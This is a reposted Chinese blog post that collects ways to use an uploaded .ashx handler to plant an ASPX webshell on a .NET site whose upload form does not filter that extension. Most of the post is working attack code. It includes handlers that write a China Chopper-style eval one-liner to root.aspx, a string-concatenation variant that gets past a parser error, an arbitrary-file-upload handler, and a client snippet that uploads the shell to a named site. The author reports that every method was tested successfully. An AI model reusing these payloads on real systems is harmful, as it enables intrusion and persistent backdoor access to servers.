关于Ashx脚本写aspx木马的方法汇总 原创hackfreer2011-02-17 07:55:55评论(2)

简介:

Author:Pnig0s1992

某站,.Net环境,上传处未限制Ashx和Asmx,后者上传无法运行,提示Asmx脚本只能在本地运行,于是打算先传个Ashx脚本然后在当前目录下生成Aspx文件(目标不能执行Asp文件),

网上找到如下Ashx代码:

 
  1. <%@ WebHandler Language="C#" Class="Handler" %> 
  2.  
  3. using System; 
  4. using System.Web; 
  5. using System.IO; 
  6. public class Handler : IHttpHandler { 
  7.     
  8.     public void ProcessRequest (HttpContext context) { 
  9.         context.Response.ContentType = "text/plain"
  10.          
  11.         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
  12.         file1.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>"); 
  13.         file1.Flush(); 
  14.         file1.Close(); 
  15.          
  16.     } 
  17.  
  18.     public bool IsReusable { 
  19.         get { 
  20.             return false
  21.         } 
  22.     } 
  23.  

我将脚本中的Asp一句话改成菜刀的Aspx一句话~不过执行的时候爆错,说未知指令@Page。遂采用一下2种方式解决:

1,用String连接字符串

 

 
  1. <%@ WebHandler Language="C#" Class="Handler" %> 
  2.  
  3. using System; 
  4. using System.Web; 
  5. using System.IO; 
  6. public class Handler : IHttpHandler { 
  7.      
  8.     public void ProcessRequest (HttpContext context) { 
  9.         context.Response.ContentType = "text/plain"
  10.         string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>"
  11.         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
  12.         file1.Write(show); 
  13.         file1.Flush(); 
  14.         file1.Close(); 
  15.          
  16.     } 
  17.  
  18.     public bool IsReusable { 
  19.         get { 
  20.             return false
  21.         } 
  22.     } 
  23.  

2.比较笨的方法,看代码吧

 

 
  1. <%@ WebHandler Language="C#" Class="Uploader" %> 
  2. using System; 
  3. using System.IO; 
  4. using System.Web;    
  5.  
  6. public class Uploader : IHttpHandler 
  7.     public void ProcessRequest(HttpContext hc) 
  8.     { 
  9.         foreach (string fileKey in hc.Request.Files) 
  10.         { 
  11.             HttpPostedFile file = hc.Request.Files[fileKey]; 
  12.             file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName)); 
  13.         } 
  14.     }    
  15.  
  16.     public bool IsReusable 
  17.     { 
  18.         get { return true; } 
  19.     } 

然后用VS建立WinForm程序~主函数里写:

 

 
  1. System.Net.WebClient myWebClient = new System.Net.WebClient(); 
  2. myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx""POST""C:\\ma.aspx"); 

执行就可以了~以上方法均测试成功~

P.S:Thx from T00ls.







本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/495155,如需转载请自行联系原作者



相关文章
|
8月前
|
开发框架 安全 .NET
常见ASPX木马报错原因及解决方案
常见ASPX木马报错原因及解决方案
268 0
|
安全 Java
浅谈JSP Webshell进阶免杀(三)
浅谈JSP Webshell进阶免杀
595 0
|
算法 JavaScript Java
浅谈JSP Webshell进阶免杀(二)
浅谈JSP Webshell进阶免杀
237 0
|
JavaScript Java 数据安全/隐私保护
浅谈JSP Webshell进阶免杀(一)
浅谈JSP Webshell进阶免杀
750 0
|
存储 JavaScript 安全
pikachu 靶场之XSS(跨站脚本) -上篇(一)
pikachu 靶场之XSS(跨站脚本) -上篇
157 0
pikachu 靶场之XSS(跨站脚本) -上篇(一)
|
安全 JavaScript 前端开发
pikachu 靶场之XSS(跨站脚本) -上篇(二)
pikachu 靶场之XSS(跨站脚本) -上篇
226 0
pikachu 靶场之XSS(跨站脚本) -上篇(二)
|
数据采集 数据安全/隐私保护 Python
爬虫,遇到aspx动态加载的验证码怎么办?
爬虫,遇到aspx动态加载的验证码怎么办?
爬虫,遇到aspx动态加载的验证码怎么办?
|
数据安全/隐私保护
怎么将aspx网站改为静态页面?
首先思路是在后台点击“生成静态页面” 转换为静态页面 protected void Button2_Click(object sender, EventArgs e) { DataSet ds = Getyuqian().
1630 0